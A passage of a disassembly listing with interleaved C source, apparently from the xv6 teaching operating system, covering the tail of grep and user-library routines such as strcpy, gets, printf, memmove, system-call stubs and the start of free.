$0xe80,%eax 2aa: 29 c7 sub %eax,%edi memmove(buf, p, m); 2ac: 57 push %edi 2ad: 53 push %ebx 2ae: 68 80 0e 00 00 push $0xe80 2b3: e8 08 02 00 00 call 4c0 <memmove> 2b8: 83 c4 10 add $0x10,%esp 2bb: e9 50 ff ff ff jmp 210 <grep+0x10> write(1, p, q+1 - p); } p = q+1; } if(p == buf) m = 0; 2c0: 31 ff xor %edi,%edi 2c2: e9 49 ff ff ff jmp 210 <grep+0x10> if(m > 0){ m -= p - buf; memmove(buf, p, m); } } } 2c7: 83 c4 0c add $0xc,%esp 2ca: 5b pop %ebx 2cb: 5e pop %esi 2cc: 5f pop %edi 2cd: 5d pop %ebp 2ce: c3 ret 2cf: 90 nop 000002d0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 2d0: 53 push %ebx 2d1: 8b 44 24 08 mov 0x8(%esp),%eax 2d5: 8b 4c 24 0c mov 0xc(%esp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 2d9: 89 c2 mov %eax,%edx 2db: 90 nop 2dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 2e0: 83 c1 01 add $0x1,%ecx 2e3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 2e7: 83 c2 01 add $0x1,%edx 2ea: 84 db test %bl,%bl 2ec: 88 5a ff mov %bl,-0x1(%edx) 2ef: 75 ef jne 2e0 <strcpy+0x10> ; return os; } 2f1: 5b pop %ebx 2f2: c3 ret 2f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000300 <strcmp>: int strcmp(const char *p, const char *q) { 300: 56 push %esi 301: 53 push %ebx 302: 8b 54 24 0c mov 0xc(%esp),%edx 306: 8b 4c 24 10 mov 0x10(%esp),%ecx while(*p && *p == *q) 30a: 0f b6 02 movzbl (%edx),%eax 30d: 0f b6 19 movzbl (%ecx),%ebx 310: 84 c0 test %al,%al 312: 75 1f jne 333 <strcmp+0x33> 314: eb 2a jmp 340 <strcmp+0x40> 316: 8d 76 00 lea 0x0(%esi),%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 320: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 323: 0f b6 02 movzbl (%edx),%eax p++, q++; 326: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 329: 0f b6 59 01 movzbl 0x1(%ecx),%ebx 32d: 84 c0 test %al,%al 32f: 74 0f je 340 <strcmp+0x40> 331: 89 f1 mov %esi,%ecx 333: 38 d8 cmp %bl,%al 335: 74 e9 je 320 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; 337: 29 d8 sub %ebx,%eax } 339: 5b pop %ebx 33a: 5e pop %esi 33b: c3 ret 33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 340: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 342: 29 d8 sub %ebx,%eax } 344: 5b pop %ebx 345: 5e pop %esi 346: c3 ret 347: 89 f6 mov %esi,%esi 349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000350 <strlen>: uint strlen(char *s) { 350: 8b 4c 24 04 mov 0x4(%esp),%ecx int n; for(n = 0; s[n]; n++) 354: 80 39 00 cmpb $0x0,(%ecx) 357: 74 14 je 36d <strlen+0x1d> 359: 31 d2 xor %edx,%edx 35b: 90 nop 35c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 360: 83 c2 01 add $0x1,%edx 363: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 367: 89 d0 mov %edx,%eax 369: 75 f5 jne 360 <strlen+0x10> 36b: f3 c3 repz ret 36d: 31 c0 xor %eax,%eax ; return n; } 36f: c3 ret 00000370 <memset>: void* memset(void *dst, int c, uint n) { 370: 57 push %edi 371: 8b 54 24 08 mov 0x8(%esp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 375: 8b 4c 24 10 mov 0x10(%esp),%ecx 379: 8b 44 24 0c mov 0xc(%esp),%eax 37d: 89 d7 mov %edx,%edi 37f: fc cld 380: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 382: 89 d0 mov %edx,%eax 384: 5f pop %edi 385: c3 ret 386: 8d 76 00 lea 0x0(%esi),%esi 389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000390 <strchr>: char* strchr(const char *s, char c) { 390: 53 push %ebx 391: 8b 44 24 08 mov 0x8(%esp),%eax 395: 8b 5c 24 0c mov 0xc(%esp),%ebx for(; *s; s++) 399: 0f b6 10 movzbl (%eax),%edx 39c: 84 d2 test %dl,%dl 39e: 74 1e je 3be <strchr+0x2e> if(*s == c) 3a0: 38 d3 cmp %dl,%bl 3a2: 89 d9 mov %ebx,%ecx 3a4: 75 0e jne 3b4 <strchr+0x24> 3a6: eb 18 jmp 3c0 <strchr+0x30> 3a8: 90 nop 3a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3b0: 38 ca cmp %cl,%dl 3b2: 74 0c je 3c0 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 3b4: 83 c0 01 add $0x1,%eax 3b7: 0f b6 10 movzbl (%eax),%edx 3ba: 84 d2 test %dl,%dl 3bc: 75 f2 jne 3b0 <strchr+0x20> if(*s == c) return (char*) s; return 0; 3be: 31 c0 xor %eax,%eax } 3c0: 5b pop %ebx 3c1: c3 ret 3c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000003d0 <gets>: char* gets(char *buf, int max) { 3d0: 55 push %ebp 3d1: 57 push %edi int i, cc; char c; for(i=0; i+1 < max; ){ 3d2: 31 ff xor %edi,%edi return 0; } char* gets(char *buf, int max) { 3d4: 56 push %esi 3d5: 53 push %ebx 3d6: 83 ec 1c sub $0x1c,%esp 3d9: 8b 74 24 30 mov 0x30(%esp),%esi int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 3dd: 8d 6c 24 0f lea 0xf(%esp),%ebp gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 3e1: eb 2c jmp 40f <gets+0x3f> 3e3: 90 nop 3e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cc = read(0, &c, 1); 3e8: 83 ec 04 sub $0x4,%esp 3eb: 6a 01 push $0x1 3ed: 55 push %ebp 3ee: 6a 00 push $0x0 3f0: e8 14 01 00 00 call 509 <read> if(cc < 1) 3f5: 83 c4 10 add $0x10,%esp 3f8: 85 c0 test %eax,%eax 3fa: 7e 1c jle 418 <gets+0x48> break; buf[i++] = c; 3fc: 0f b6 44 24 0f movzbl 0xf(%esp),%eax 401: 89 df mov %ebx,%edi if(c == '\n' || c == '\r') 403: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 405: 88 44 1e ff mov %al,-0x1(%esi,%ebx,1) if(c == '\n' || c == '\r') 409: 74 25 je 430 <gets+0x60> 40b: 3c 0d cmp $0xd,%al 40d: 74 21 je 430 <gets+0x60> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 40f: 8d 5f 01 lea 0x1(%edi),%ebx 412: 3b 5c 24 34 cmp 0x34(%esp),%ebx 416: 7c d0 jl 3e8 <gets+0x18> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 418: c6 04 3e 00 movb $0x0,(%esi,%edi,1) return buf; } 41c: 83 c4 1c add $0x1c,%esp 41f: 89 f0 mov %esi,%eax 421: 5b pop %ebx 422: 5e pop %esi 423: 5f pop %edi 424: 5d pop %ebp 425: c3 ret 426: 8d 76 00 lea 0x0(%esi),%esi 429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 430: 89 df mov %ebx,%edi if(c == '\n' || c == '\r') break; } buf[i] = '\0'; return buf; } 432: 89 f0 mov %esi,%eax break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 434: c6 04 3e 00 movb $0x0,(%esi,%edi,1) return buf; } 438: 83 c4 1c add $0x1c,%esp 43b: 5b pop %ebx 43c: 5e pop %esi 43d: 5f pop %edi 43e: 5d pop %ebp 43f: c3 ret 00000440 <stat>: int stat(char *n, struct statv6 *st) { 440: 56 push %esi 441: 53 push %ebx 442: 83 ec 0c sub $0xc,%esp int fd; int r; fd = open(n, O_RDONLY); 445: 6a 00 push $0x0 447: ff 74 24 1c pushl 0x1c(%esp) 44b: e8 e1 00 00 00 call 531 <open> if(fd < 0) 450: 83 c4 10 add $0x10,%esp 453: 85 c0 test %eax,%eax 455: 78 29 js 480 <stat+0x40> return -1; r = fstat(fd, st); 457: 83 ec 08 sub $0x8,%esp 45a: 89 c3 mov %eax,%ebx 45c: ff 74 24 1c pushl 0x1c(%esp) 460: 50 push %eax 461: e8 e3 00 00 00 call 549 <fstat> 466: 89 c6 mov %eax,%esi close(fd); 468: 89 1c 24 mov %ebx,(%esp) 46b: e8 a9 00 00 00 call 519 <close> return r; 470: 83 c4 10 add $0x10,%esp 473: 89 f0 mov %esi,%eax } 475: 83 c4 04 add $0x4,%esp 478: 5b pop %ebx 479: 5e pop %esi 47a: c3 ret 47b: 90 nop 47c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 480: b8 ff ff ff ff mov $0xffffffff,%eax 485: eb ee jmp 475 <stat+0x35> 487: 89 f6 mov %esi,%esi 489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000490 <atoi>: return r; } int atoi(const char *s) { 490: 53 push %ebx 491: 8b 4c 24 08 mov 0x8(%esp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 495: 0f be 11 movsbl (%ecx),%edx 498: 8d 42 d0 lea -0x30(%edx),%eax 49b: 3c 09 cmp $0x9,%al 49d: b8 00 00 00 00 mov $0x0,%eax 4a2: 77 19 ja 4bd <atoi+0x2d> 4a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n = n*10 + *s++ - '0'; 4a8: 8d 04 80 lea (%eax,%eax,4),%eax 4ab: 83 c1 01 add $0x1,%ecx 4ae: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 4b2: 0f be 11 movsbl (%ecx),%edx 4b5: 8d 5a d0 lea -0x30(%edx),%ebx 4b8: 80 fb 09 cmp $0x9,%bl 4bb: 76 eb jbe 4a8 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 4bd: 5b pop %ebx 4be: c3 ret 4bf: 90 nop 000004c0 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 4c0: 56 push %esi 4c1: 53 push %ebx 4c2: 8b 5c 24 14 mov 0x14(%esp),%ebx 4c6: 8b 44 24 0c mov 0xc(%esp),%eax 4ca: 8b 74 24 10 mov 0x10(%esp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 4ce: 85 db test %ebx,%ebx 4d0: 7e 14 jle 4e6 <memmove+0x26> 4d2: 31 d2 xor %edx,%edx 4d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 4d8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 4dc: 88 0c 10 mov %cl,(%eax,%edx,1) 4df: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 4e2: 39 da cmp %ebx,%edx 4e4: 75 f2 jne 4d8 <memmove+0x18> *dst++ = *src++; return vdst; } 4e6: 5b pop %ebx 4e7: 5e pop %esi 4e8: c3 ret 000004e9 <fork>: 4e9: b8 01 00 00 00 mov $0x1,%eax 4ee: cd 40 int $0x40 4f0: c3 ret 000004f1 <exit>: 4f1: b8 02 00 00 00 mov $0x2,%eax 4f6: cd 40 int $0x40 4f8: c3 ret 000004f9 <wait>: 4f9: b8 03 00 00 00 mov $0x3,%eax 4fe: cd 40 int $0x40 500: c3 ret 00000501 <pipe>: 501: b8 04 00 00 00 mov $0x4,%eax 506: cd 40 int $0x40 508: c3 ret 00000509 <read>: 509: b8 06 00 00 00 mov $0x6,%eax 50e: cd 40 int $0x40 510: c3 ret 00000511 <write>: 511: b8 05 00 00 00 mov $0x5,%eax 516: cd 40 int $0x40 518: c3 ret 00000519 <close>: 519: b8 07 00 00 00 mov $0x7,%eax 51e: cd 40 int $0x40 520: c3 ret 00000521 <kill>: 521: b8 08 00 00 00 mov $0x8,%eax 526: cd 40 int $0x40 528: c3 ret 00000529 <exec>: 529: b8 09 00 00 00 mov $0x9,%eax 52e: cd 40 int $0x40 530: c3 ret 00000531 <open>: 531: b8 0a 00 00 00 mov $0xa,%eax 536: cd 40 int $0x40 538: c3 ret 00000539 <mknod>: 539: b8 0b 00 00 00 mov $0xb,%eax 53e: cd 40 int $0x40 540: c3 ret 00000541 <unlink>: 541: b8 0c 00 00 00 mov $0xc,%eax 546: cd 40 int $0x40 548: c3 ret 00000549 <fstat>: 549: b8 0d 00 00 00 mov $0xd,%eax 54e: cd 40 int $0x40 550: c3 ret 00000551 <link>: 551: b8 0e 00 00 00 mov $0xe,%eax 556: cd 40 int $0x40 558: c3 ret 00000559 <mkdir>: 559: b8 0f 00 00 00 mov $0xf,%eax 55e: cd 40 int $0x40 560: c3 ret 00000561 <chdir>: 561: b8 10 00 00 00 mov $0x10,%eax 566: cd 40 int $0x40 568: c3 ret 00000569 <dup>: 569: b8 11 00 00 00 mov $0x11,%eax 56e: cd 40 int $0x40 570: c3 ret 00000571 <getpid>: 571: b8 12 00 00 00 mov $0x12,%eax 576: cd 40 int $0x40 578: c3 ret 00000579 <sbrk>: 579: b8 13 00 00 00 mov $0x13,%eax 57e: cd 40 int $0x40 580: c3 ret 00000581 <sleep>: 581: b8 14 00 00 00 mov $0x14,%eax 586: cd 40 int $0x40 588: c3 ret 589: 66 90 xchg %ax,%ax 58b: 66 90 xchg %ax,%ax 58d: 66 90 xchg %ax,%ax 58f: 90 nop 00000590 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 590: 55 push %ebp 591: 57 push %edi 592: 89 c7 mov %eax,%edi 594: 56 push %esi 595: 53 push %ebx 596: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 599: 8b 5c 24 50 mov 0x50(%esp),%ebx 59d: 85 db test %ebx,%ebx 59f: 74 77 je 618 <printint+0x88> 5a1: 89 d0 mov %edx,%eax 5a3: c1 e8 1f shr $0x1f,%eax 5a6: 84 c0 test %al,%al 5a8: 74 6e je 618 <printint+0x88> neg = 1; x = -xx; 5aa: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 5ac: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 5b3: 00 x = -xx; 5b4: f7 d8 neg %eax } else { x = xx; } i = 0; 5b6: 31 ed xor %ebp,%ebp 5b8: 8d 5c 24 1f lea 0x1f(%esp),%ebx 5bc: eb 04 jmp 5c2 <printint+0x32> 5be: 66 90 xchg %ax,%ax do{ buf[i++] = digits[x % base]; 5c0: 89 f5 mov %esi,%ebp 5c2: 31 d2 xor %edx,%edx 5c4: 8d 75 01 lea 0x1(%ebp),%esi 5c7: f7 f1 div %ecx 5c9: 0f b6 92 98 09 00 00 movzbl 0x998(%edx),%edx }while((x /= base) != 0); 5d0: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 5d2: 88 14 33 mov %dl,(%ebx,%esi,1) }while((x /= base) != 0); 5d5: 75 e9 jne 5c0 <printint+0x30> if(neg) 5d7: 8b 44 24 0c mov 0xc(%esp),%eax 5db: 85 c0 test %eax,%eax 5dd: 74 08 je 5e7 <printint+0x57> buf[i++] = '-'; 5df: c6 44 34 20 2d movb $0x2d,0x20(%esp,%esi,1) 5e4: 8d 75 02 lea 0x2(%ebp),%esi 5e7: 8d 74 34 1f lea 0x1f(%esp,%esi,1),%esi 5eb: 90 nop 5ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 5f0: 0f b6 06 movzbl (%esi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5f3: 83 ec 04 sub $0x4,%esp 5f6: 83 ee 01 sub $0x1,%esi 5f9: 88 44 24 23 mov %al,0x23(%esp) 5fd: 6a 01 push $0x1 5ff: 53 push %ebx 600: 57 push %edi 601: e8 0b ff ff ff call 511 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 606: 83 c4 10 add $0x10,%esp 609: 39 de cmp %ebx,%esi 60b: 75 e3 jne 5f0 <printint+0x60> putc(fd, buf[i]); } 60d: 83 c4 3c add $0x3c,%esp 610: 5b pop %ebx 611: 5e pop %esi 612: 5f pop %edi 613: 5d pop %ebp 614: c3 ret 615: 8d 76 00 lea 0x0(%esi),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 618: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 61a: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 621: 00 622: eb 92 jmp 5b6 <printint+0x26> 624: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 62a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000630 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 630: 55 push %ebp 631: 57 push %edi 632: 56 push %esi 633: 53 push %ebx 634: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 637: 8b 74 24 44 mov 0x44(%esp),%esi 63b: 8d 44 24 48 lea 0x48(%esp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 63f: 8b 7c 24 40 mov 0x40(%esp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 643: 89 44 24 0c mov %eax,0xc(%esp) 647: 0f b6 1e movzbl (%esi),%ebx 64a: 83 c6 01 add $0x1,%esi 64d: 84 db test %bl,%bl 64f: 0f 84 ad 00 00 00 je 702 <printf+0xd2> 655: 31 ed xor %ebp,%ebp 657: eb 32 jmp 68b <printf+0x5b> 659: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 660: 83 f8 25 cmp $0x25,%eax 663: 0f 84 a7 00 00 00 je 710 <printf+0xe0> 669: 88 5c 24 1a mov %bl,0x1a(%esp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 66d: 83 ec 04 sub $0x4,%esp 670: 6a 01 push $0x1 672: 8d 44 24 22 lea 0x22(%esp),%eax 676: 50 push %eax 677: 57 push %edi 678: e8 94 fe ff ff call 511 <write> 67d: 83 c4 10 add $0x10,%esp 680: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 683: 0f b6 5e ff movzbl -0x1(%esi),%ebx 687: 84 db test %bl,%bl 689: 74 77 je 702 <printf+0xd2> c = fmt[i] & 0xff; if(state == 0){ 68b: 85 ed test %ebp,%ebp uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 68d: 0f be cb movsbl %bl,%ecx 690: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 693: 74 cb je 660 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 695: 83 fd 25 cmp $0x25,%ebp 698: 75 e6 jne 680 <printf+0x50> if(c == 'd'){ 69a: 83 f8 64 cmp $0x64,%eax 69d: 0f 84 15 01 00 00 je 7b8 <printf+0x188> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 6a3: 81 e1 f7 00 00 00 and $0xf7,%ecx 6a9: 83 f9 70 cmp $0x70,%ecx 6ac: 74 72 je 720 <printf+0xf0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 6ae: 83 f8 73 cmp $0x73,%eax 6b1: 0f 84 99 00 00 00 je 750 <printf+0x120> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 6b7: 83 f8 63 cmp $0x63,%eax 6ba: 0f 84 07 01 00 00 je 7c7 <printf+0x197> putc(fd, *ap); ap++; } else if(c == '%'){ 6c0: 83 f8 25 cmp $0x25,%eax 6c3: 0f 84 d7 00 00 00 je 7a0 <printf+0x170> 6c9: c6 44 24 1f 25 movb $0x25,0x1f(%esp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6ce: 83 ec 04 sub $0x4,%esp 6d1: 6a 01 push $0x1 6d3: 8d 44 24 27 lea 0x27(%esp),%eax 6d7: 50 push %eax 6d8: 57 push %edi 6d9: e8 33 fe ff ff call 511 <write> 6de: 88 5c 24 2e mov %bl,0x2e(%esp) 6e2: 83 c4 0c add $0xc,%esp 6e5: 6a 01 push $0x1 6e7: 8d 44 24 26 lea 0x26(%esp),%eax 6eb: 50 push %eax 6ec: 57 push %edi 6ed: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 6f0: 31 ed xor %ebp,%ebp #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6f2: e8 1a fe ff ff call 511 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6f7: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 6fb: 83 c4 10 add $0x10,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6fe: 84 db test %bl,%bl 700: 75 89 jne 68b <printf+0x5b> putc(fd, c); } state = 0; } } } 702: 83 c4 2c add $0x2c,%esp 705: 5b pop %ebx 706: 5e pop %esi 707: 5f pop %edi 708: 5d pop %ebp 709: c3 ret 70a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 710: bd 25 00 00 00 mov $0x25,%ebp 715: e9 66 ff ff ff jmp 680 <printf+0x50> 71a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 720: 83 ec 0c sub $0xc,%esp 723: b9 10 00 00 00 mov $0x10,%ecx 728: 6a 00 push $0x0 72a: 8b 5c 24 1c mov 0x1c(%esp),%ebx 72e: 89 f8 mov %edi,%eax 730: 8b 13 mov (%ebx),%edx 732: e8 59 fe ff ff call 590 <printint> ap++; 737: 89 d8 mov %ebx,%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 739: 31 ed xor %ebp,%ebp if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 73b: 83 c0 04 add $0x4,%eax 73e: 89 44 24 1c mov %eax,0x1c(%esp) 742: 83 c4 10 add $0x10,%esp 745: e9 36 ff ff ff jmp 680 <printf+0x50> 74a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(c == 's'){ s = (char*)*ap; 750: 8b 44 24 0c mov 0xc(%esp),%eax 754: 8b 28 mov (%eax),%ebp ap++; 756: 83 c0 04 add $0x4,%eax 759: 89 44 24 0c mov %eax,0xc(%esp) if(s == 0) s = "(null)"; 75d: b8 8e 09 00 00 mov $0x98e,%eax 762: 85 ed test %ebp,%ebp 764: 0f 44 e8 cmove %eax,%ebp while(*s != 0){ 767: 0f b6 45 00 movzbl 0x0(%ebp),%eax 76b: 84 c0 test %al,%al 76d: 74 27 je 796 <printf+0x166> 76f: 8d 5c 24 1b lea 0x1b(%esp),%ebx 773: 90 nop 774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 778: 88 44 24 1b mov %al,0x1b(%esp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 77c: 83 ec 04 sub $0x4,%esp ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 77f: 83 c5 01 add $0x1,%ebp #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 782: 6a 01 push $0x1 784: 53 push %ebx 785: 57 push %edi 786: e8 86 fd ff ff call 511 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 78b: 0f b6 45 00 movzbl 0x0(%ebp),%eax 78f: 83 c4 10 add $0x10,%esp 792: 84 c0 test %al,%al 794: 75 e2 jne 778 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 796: 31 ed xor %ebp,%ebp 798: e9 e3 fe ff ff jmp 680 <printf+0x50> 79d: 8d 76 00 lea 0x0(%esi),%esi 7a0: 88 5c 24 1d mov %bl,0x1d(%esp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 7a4: 83 ec 04 sub $0x4,%esp 7a7: 6a 01 push $0x1 7a9: 8d 44 24 25 lea 0x25(%esp),%eax 7ad: e9 39 ff ff ff jmp 6eb <printf+0xbb> 7b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 7b8: 83 ec 0c sub $0xc,%esp 7bb: b9 0a 00 00 00 mov $0xa,%ecx 7c0: 6a 01 push $0x1 7c2: e9 63 ff ff ff jmp 72a <printf+0xfa> 7c7: 8b 5c 24 0c mov 0xc(%esp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 7cb: 83 ec 04 sub $0x4,%esp 7ce: 8b 03 mov (%ebx),%eax 7d0: 88 44 24 20 mov %al,0x20(%esp) 7d4: 6a 01 push $0x1 7d6: 8d 44 24 24 lea 0x24(%esp),%eax 7da: 50 push %eax 7db: 57 push %edi 7dc: e8 30 fd ff ff call 511 <write> 7e1: e9 51 ff ff ff jmp 737 <printf+0x107> 7e6: 66 90 xchg %ax,%ax 7e8: 66 90 xchg %ax,%ax 7ea: 66 90 xchg %ax,%ax 7ec: 66 90 xchg %ax,%ax 7ee: 66 90 xchg %ax,%ax 000007f0 <free>: static Header base; static Header *freep; void free(void *ap) { 7f0: 57 push %edi 7f1: 56 push %esi 7f2: 53 push %ebx 7f3: 8b 5c 24 10 mov 0x10(%esp),%ebx Header *bp, *p; bp = (Header*) ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 7f7: a1 60 0e 00 00 mov 0xe60,%eax void free(void *ap) { Header *bp, *p; bp = (Header*) ap - 1; 7fc: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 7ff: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*) ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 801: 39 c8 cmp %ecx,%eax 803: 73 13 jae 818 <free+0x28> 805: 8d 76 00 lea 0x0(%esi),%esi 808: 39 d1 cmp %edx,%ecx 80a: 72 14 jb 820 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 80c: 39 d0 cmp %edx,%eax 80e: 73 10 jae 820 <free+0x30> static Header base; static Header *freep; void free(void *ap) { 810: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*) ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 812: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 814: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*) ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 816: 72 f0 jb 808 <free+0x18> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 818: 39 d0 cmp %edx,%eax 81a: 72 f4 jb 810 <free+0x20> 81c: 39 d1 cmp %edx,%ecx 81e: 73 f0 jae 810 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 820: 8b 73 fc mov -0x4(%ebx),%esi 823: 8d 3c f1 lea (%ecx,%esi,8),%edi 826: 39 d7 cmp %edx,%edi 828: 74 18 je 842 <free+0x52> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 82a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 82d: 8b 50 04 mov 0x4(%eax),%edx 830: 8d 34 d0 lea (%eax,%edx,8),%esi 833: 39 f1 cmp %esi,%ecx 835: 74 20 je 857 <free+0x67> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; 